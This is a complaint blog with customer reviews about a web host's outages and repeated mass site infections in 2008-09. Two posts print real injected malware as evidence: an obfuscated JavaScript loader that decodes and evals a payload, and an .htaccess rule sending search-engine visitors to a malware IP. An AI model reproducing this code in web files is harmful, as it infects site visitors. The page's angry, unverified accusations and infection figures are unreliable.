IX Web Hosting Warning

Unreliable, Insecure, Incompetant Web Hosting

REAL ix web hosting customer reviews NOT paid and misleading reviews

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

October 17, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , | No Comments Yet

IX Web Hosting has SERIOUS database Issues and lots more

In the past months, 1000’s of IX Web Hosting’s customers finally turned their back on the “Cheap, Unreliable and Insecure ” Web Host. This was due to the fact that more than 140,000 sites were hacked and injected on a WEEKLY bases, things got so bad that even the “Backups” were infected and deemed useless.
From   May 2008 onwards IX Web Hosting continueously blamed their customers, mayor search engines, WordPress, Joomla, and every script on the market, actually, it was everyone’s fault, except IX Web Hosting.

The past 4 weeks I have recieved and seen an alarming amount of customers furious about the “Downtime” of their sites.

Downtimes of  6+ hours is normal…

I am curious who IX WEB HOSTING is going to blame this time

Shira, 12th 2009f February, 2009
We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.

Pete, 11th 2009f February, 2009
AVOID like the plague!!!
Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site.
If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted.
Try www.**********.com. They cost a bit more but you get what you pay for.

F**K YOU IX, 10th 2009f February, 2009
I’m so sick of the feeble excuses ix web hosting come up with.
I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!!
It really is time to get a class case together and sue IX for compensation.
Erik, 09th 2009f February, 2009
All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on.

Milano, 09th 2009f February, 2009
Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus.
IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB
Herman, 08th 2009f February, 2009
Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response.
So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it!
This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them.
Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.

 

elawcase@gmail.com, 07th 2009f February, 2009
Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.

I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.

John – HELP SERVER DOWN, 05th 2009f February, 2009
Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs.

Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possible

you: pls .. it has been down for 1 hour

you: every day down

Lesya Geychenko: I am so sorry, our admins are working on the issue

Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible

you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for

Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution

you: we have already

you: what’s going on?

you: over 1 hour

you: hello, any updates so far?

Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish

you: please

Lesya Geychenko: The issue should be fixed within 15 minutes

you: ok

Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins

you: ok

Lesya Geychenko: They maintain the server longer than I have expected

Lesya Geychenko: The server will be up in 60 minutes

you: ixwebhosting is really unreliable…..

Heidi, 03rd 2009f February, 2009
Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.
 
Matt, 02nd 2009f February, 2009
The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.
 
George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.

 

February 12, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , | No Comments Yet

IX Web Hosting still blames 777 permissions

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

IX is blaming ” Folder Permissions “  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

  1. 5 html sites ( 100% html) not running any scripts or folders get injected?
  2. How is it possible to MASS overwrite 644 files (.htaccess)
  3. How is it possible to MASS add .htaccess files
  4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
  5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
  6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
    It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

January 23, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , , , , , , , , | 4 Comments

IX Web Hosting making money from their INSECURE SERVERS

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

January 20, 2009 Posted by neverixweb | Uncategorized | , , , , , , , , , , , , , , , , , , , , | 8 Comments

More than ONE THIRD of ALL IX Web Hosting sites INFECTED

A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise  his / her position. I will call this person “AGENT IX”

Today I recieved an Email from “AGENT IX”  that states that more than 100,000 IX Web Hosting Sites are infected.

The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com 

More than 100,000 sites are infected, which means that more than  1/3   of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.

Also the injected script(s) are changing ( see previous posts) which most likely means that this  vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER  the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.

January 8, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , | 4 Comments

A NEW wave of iFrame Injections for IX Web Hosts Customers

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

January 5, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , , , | 1 Comment

IX Web Hosted Sites Hacked and Defaced Jan. 2nd 2009

January 2, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , , , , , | 2 Comments

IX webhosting Backups

Since I started this blog I have recieved way too many Emails from IX customers that are being blamed for IX web hosting’s incompetence, so far I have 1374 emails  from people that are furious at the way IX is treating them and their buisness. In the past week I have recieved 41 emails from customers that have completely lost their website(s) Not due to any injected scripts or iFrame hacks, but because IX webhosting has deleted them, and do not have any backups..

An example recieved today.  

Dear Larry Sypher,
I am very sorry for this recent inconvenience, please accept my sincere apologies. Our admins have verified that all relevant backups have been rotated already. Unfortunately all backups which are older than a week are being deleted from the server on a regular basis because we cannot afford to store too old backups due to the many system restrictions of the shared hosting environment. It is much recommended to create local backup copies. I regret.
Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko

So what they are saying, is that if anything was to happen to your site, you have LESS than a week to discover it, and have it backed up, otherwise, a new backup will be made, and this time it will be the “INFECTED”  site, and you have just lost your site!!.. ONE WEEK!!?? …. It takes IX 4 days to reply to a support ticket!!

This evening  01-01-2009 I checked to see what support has to say about backups..

 

ixbackup1

 

So, they are telling me they have a choice of 4 Backups, over a 2 week periode

Well, we all know IX webhosting are a bunch of liars, this is just another example of how they they promise you things, but cannot deliver

January 2, 2009 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , | No Comments Yet

IX Web hosting Reviews Dec. 2008

Seve, 29th 2009f December, 2008
Ooohh alright, I’ll GIVE them away!!Still no takers?..

Don’t blame ya!!

 
Steve, 29th 2009f December, 2008
Anyone want to buy my 2 buisness Accounts I have with IX ? I’ll sell them for a good price.. IX is the leader in quality Web Hosting, and comes with top notch support.. especially if you speak Ukrainian.. C’mon be part of history, IX might not be around for much longer.
 
Rich, 29th 2009f December, 2008
IX is so full of shit, I can smell them fro here. These dickwads are clueless, they are a laughing stock. Anyone hosting their sites with these people need to seriously start looking for another host. IX is gonna get a hell of a lot worse before it gets better.. thats if they survive the loss of so many customers.
 
James, 29th 2009f December, 2008
6 weeks ago I purchased an account with ix webhosting, in this 6 week periode my site has been cleaned and re uploaded 14 times!! every other day it gets injected with a .htaccess file, and gets redirected. I do not have any scripts for my site an no .htaccess file. ix has constantly blamed me for this. Luckily I only have one site, I’m counting my loss and moving away.
 
Bart de Vries, 29th 2009f December, 2008
A complete bunch of ignorent stuck up turds!!.. couldn’t run a stopwatch, let alone a hosting company.
 
Oz, 29th 2009f December, 2008
IXWEBHOSTING is bent!I mean all my domains had a .htaccess file which redirected all search engine traffic to another website (located at starnet.md) to download malacious files (virus).

This is the contents of the .htaccess file:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]

It’s rewriting code to direct all users from Search engines away from my websites.

Good bye IX!

 
Juloep, 28th 2008f December, 2008
I just read this website and here you can see that ix people are thiefes

http://ixwebhostwarning.wordpress.com/

 
Juloep, 28th 2008f December, 2008
I have holiday for 6 days, and when I get home my website has gone, instead a page tells everyone my web site is terminated.. I call ix and they tell me my site was phishing site.. I tell them that it is a mistake, my website is about hotel in Tunisia.. I ask for them to please put my website back because people think I am now a thief but they say i must buy a new account. these people are VERY bad people, they make me look like thief but they are thief!!
 
Eddie, 28th 2008f December, 2008
www.psedog.com
Another website screwed by IX. Luckily I was nearing the end of my contract when they decided to suspend my account for “Phishing” All the suspected folders had permissions of “httpd”. A week prior to IX shutting my site down (Suspended). They had informed me that my site had been “hacked” and had a virus in it. They claimed to have fixed it. Only to shut down my site shortly after. Look at some of the recent comments under mine and you will see that I’m not the only one. IXWebHosting is crap. I only dealt with it for as long as I did because I had already paid. Unfortunately I didn’t have the site as a whole backed up. Now I have to go and rebuild it again from multiple sources.They shut my site down 2 other times before. They claimed TOS for copyright infringement. The infringing products were my own pictures from my car club in Souther California. Apparently I’m not allowed to have a nice car and know others that do as well. (G35Driver)
 
Jack Brown, IT Director, 26th 2008f December, 2008
The best hosting company list at:
Mavaron.com

http://www.mavaron.com

 
John M, 26th 2008f December, 2008
I am so pissed off with ixwebhosting, they know they have an issue with their servers, but they still blame the customers. I have 2 static sites, and they have been injected nad the files permission changed to httpd. When I phoned support I was blamed for in-secure folder permissions, when I told them I did not have any folders, they told me to purchase an anti virus software, and scan my pc!! I told them My McAfee AV is 2 months old and up to date, and scans every Tuesday and Friday.. Then they told me to TRY ANOTHER Anti Virus software Keep away from these idiots
 
Tom, 25th 2008f December, 2008
Today without warning ix web shutdown my account, because I ran a script on it, I have a photography site for newly weds, I know nothing of any script. They are rude and are blaming me for their problems. How can I get my database and all my files? Can I sue them?
 
Jacque, 25th 2008f December, 2008
Once they were a very good company, but now they are the worst, and the worst just keeps getting worse.
Avoid ix web hosting until they get their act together. more info http://ixwebhostwarning.wordpress.com/
 
Babs, 25th 2008f December, 2008
What a nightmare!! Talk about crooks, it is beyond me that IX is still in buisness.
I would not host my site with them for FREE
Been there.. done it… got the stress
 
2 matt, 25th 2008f December, 2008
Hi there,
go on www.dickgreasley.com to check how fast the server is.
On bottom of the website is link to EBH.
 
 
 
 
matt, 18th 2008f December, 2008
ixwebhosting.com server has been down for now 3 hours. My company cannot retreive important data. I think this company is so damn unprofessional. If anyone has any other suggestions for other good webhosting companies, please do let me know!
 
cashzzz, 18th 2008f December, 2008
Server has been down now for over 2 hours….ixwebhosting keeps telling us to wait 15-30 more minutes… we cannot keep waiting like this. They said the server is under maintenance, but the server should not be down like this for more than 2 hours.. not sure how much longer…
 
cashzzz, 18th 2008f December, 2008
Server is down as of now. for over 1 hour 30 minutes… we are told the server will be up another 30 minutes but that was 30 minutes ago.
 
Chris, 17th 2008f December, 2008
It was a nightmare dealing with these horrendous people at IX Webhosting.- For the seven months my site was hosted there, there were a lot of slow downs, database cut-offs and data lost, and they never provide any compensation or explanation of why that happened

- IX reserves the right to cut off your website at anytime whenever they feel like to. At first they would not tell you they are going to cut you off, they just asked you to accept their TOS terms of service. Once you did that they cut you off immediately.

- Worst of all, they do not allow user to download their own website or database once they suspended your account. If you are not prepared you will be totally screwed. I have never seen hosting company not providing user their database when they move out of the host.

- Technical support is horrendous, either the person there just try to play dumb or are complete idiots. They do not listen to your words, they just repeat themselves over and over again as if they are merely answering machines.

- Make sure you read every single word in their terms of service, there are a lot of unfair terms to the user, make sure you are alright with every single term in there before you sign up. These guys sure know how to make a fool of you by playing with the terms.

 
they are bad, 16th 2008f December, 2008
Koima
They are pretty bad , but have you checked out IPower.For years of consistant appalling service, i doubt you’d get any worse – anywhere .

Why nearly all of the top 10 listed here are still in business is beyond me – most (not all) of them are not worth counting anywhere in the top 1000!

 
Koima, 12th 2008f December, 2008
WOW, I never see so many bad comments I think I will never use ixwebhosting
 
fuckIX, 12th 2008f December, 2008
ixwebhosting can kiss my arse. 2 years of these pathetic people is enough.
IX does not give a damn shit about customers, they take your money and screw you
BURN IX BURN!!!
 
David Lee, 11th 2008f December, 2008
My htaccess file was replaced and my website was down yestoday.
It seems like nothing they gonna do to make their hosting service to be the one it should be.
I have to upload htaccess every 4 days. ixwebhosting is a shit!
I want my money back!
 
Sandra, 11th 2008f December, 2008
I am so glad that I only have 2 web sites with these crooks. I wish I had found this site before. I purchased my account 7 weeks ago, and since then I have had nothing but trouble, in those 7 weeks I have had to upload backups 11 times!!
I tried to use their support 3 times, but each time all they said was I needed to create a ticket..
Bottom line, AVOID IX web hosting
 
Harry, 09th 2008f December, 2008
IX wehosting is a 100% rip off, I cannot understand that they are still allowed to sell hosting. My sites are hacked on a weekly basis. Support are a bunch of ignorant retards that belong in a Zoo cleaning up the animal shit!!
IX web hosting, Please do yourself a favor, and pull the plug!! You are without doubt a disgrace to the hosting world.
 
J C, 01st 2008f December, 2008
Our websites has been Hacked again
We were connected with IXWebHosting
Now we have enough and cancelled our multiple accounts with them

December 30, 2008 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , , , | 2 Comments

IX Web hosting Reviews Oct. + Nov.

KB, 30th 2008f November, 2008
I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them.

I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time).

Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working.

Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

 
empusa, 21st 2008f November, 2008
When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket.
My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755.
You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.
 
Yunus Member, 19th 2008f November, 2008
Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars
 
de P, 14th 2008f November, 2008
Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”.
I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind.
There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.
 
Christos , 12th 2008f November, 2008
I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money
 
sony, 01st 2008f November, 2008
They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact ….
The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.
 
Bob, 28th 2008f October, 2008
Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.
 
David, 23rd 2008f October, 2008
I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB.

The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

 
support, 21st 2008f October, 2008
try www.hostmysite.com
 
Shrink, 21st 2008f October, 2008
They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.
 
Shrink, 21st 2008f October, 2008
I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!
 
Enrique Gutierrez, 21st 2008f October, 2008
HORRIBLE!

I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data.

They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

December 29, 2008 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , | No Comments Yet

IX web hosted sites Hacked and Defaced December 29th

December 29, 2008 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , | No Comments Yet

IX Web Hosting and the Yahoo Counter Script Injection

I started this blog just 2 weeks ago, and today I recieved my 1000 th  Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

  • mysql33.ixwebhosting.com
  • mysql15.ixwebhosting.com
  • mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

December 24, 2008 Posted by neverixweb | IX Web Hosting | , , , , , , , , , , , , , , | 11 Comments

IX Web Hosting TWO FACED

Today I recieved a new wave of unhappy IX Web Hosting Customers, sending me details on how the pathetic support treats them… I can tell within hours of IX Web Hosting being yet again injected, just by the the ammount of search queries I am tracking.
3 days ago I tracked 78  ” ixwebhosting hacked” ( or similer ) this morning it peaked over 820, and sure enough  ns5.ixwebhosting.com and ns6.ixwebhosting.com was injected.  These are the ones I am certain about, because I (we) have sites on those, but probably it was more than just ns5 & 6.

Customers are still being blamed by IX web hosting.  One person was even told to shut up, pack up or find a competent  web master to host his / her site properly..   I had to laugh, not because it was funny, but it was just unbelievable.. these pathetic, thick  bunch of IX retards, that don’t know how to restart a pc, let alone run a buisness, tells a paying customer  to shut up, pack up or find a competent  web master to host his / her site properly…

So, it’s all about the person who hosts / looks after / runs your web site… ???

Let me tell you about an issue I had with one of IX’s Managers… LAUREN 
3 days before talking to Lauren I had already spoken to DREW, KENNY and JAMES, all three of these managers explained the situation to me in plain english, I even have it in writing from Kenny, that they had an issue with certain ( or a certain) outdated Php modules, that was allowing the injected script to infect whole servers, and they were working on a solution.. When I mentioned that customers were still being blamed for this problem they told me that it was a communication glitch, and ALL the Support, both USA and Eastern Block would be briefed about the situation.

So, 3 days later, I phone and ask for a manager, because I had info about the server being injected for the 3 time in 4 weeks. Immediately she turned hostile, and started blaming me for having a 777 permission, when I explained that, not only did I have no 777 permissions, I had NO folders, No scripts, just 5 web sites that were 100% html.. she still continued to blame me, untill I told her that I had spoken to the other managers, and that I was told that it was a php module on their server.. Then , and only then did she lose her attitude..

So these support baffoons and managers are still blaming customers, for not knowing how to secure a website, so maybe we should follow their example….

Let’s take a look a 2 web sites… and who do these web sites belong to?… You got it!…  LAUREN  IX Web Host Manager .  And YES, they are both injected, and have been now for over 2 weeks

( for those who are lucky enough not to have a site hosted at IX, and don’t know where to look, click on the link, view the source code, and at the footer you will see the injected script ) 

 http://atlastmylove.com 

 http://runholy.com

But  Manager and Webmaster LAUREN’s sites are injected!!..  Does this  mean the Managers are REALLY as thick and retard as they sound??… I guess so..  maybe jewelry is her forte

Ooohh, she also has another website, but that is hosted elsewhere, NOT IX, and that site is CLEAN

December 20, 2008 Posted by neverixweb | IX Web Hosting | , , , , , | 2 Comments

IX Web Hosting Deceiving Liars !!

Here is just one example (more to follow) how IX Web Hosting cheats, lies and deceives customers.

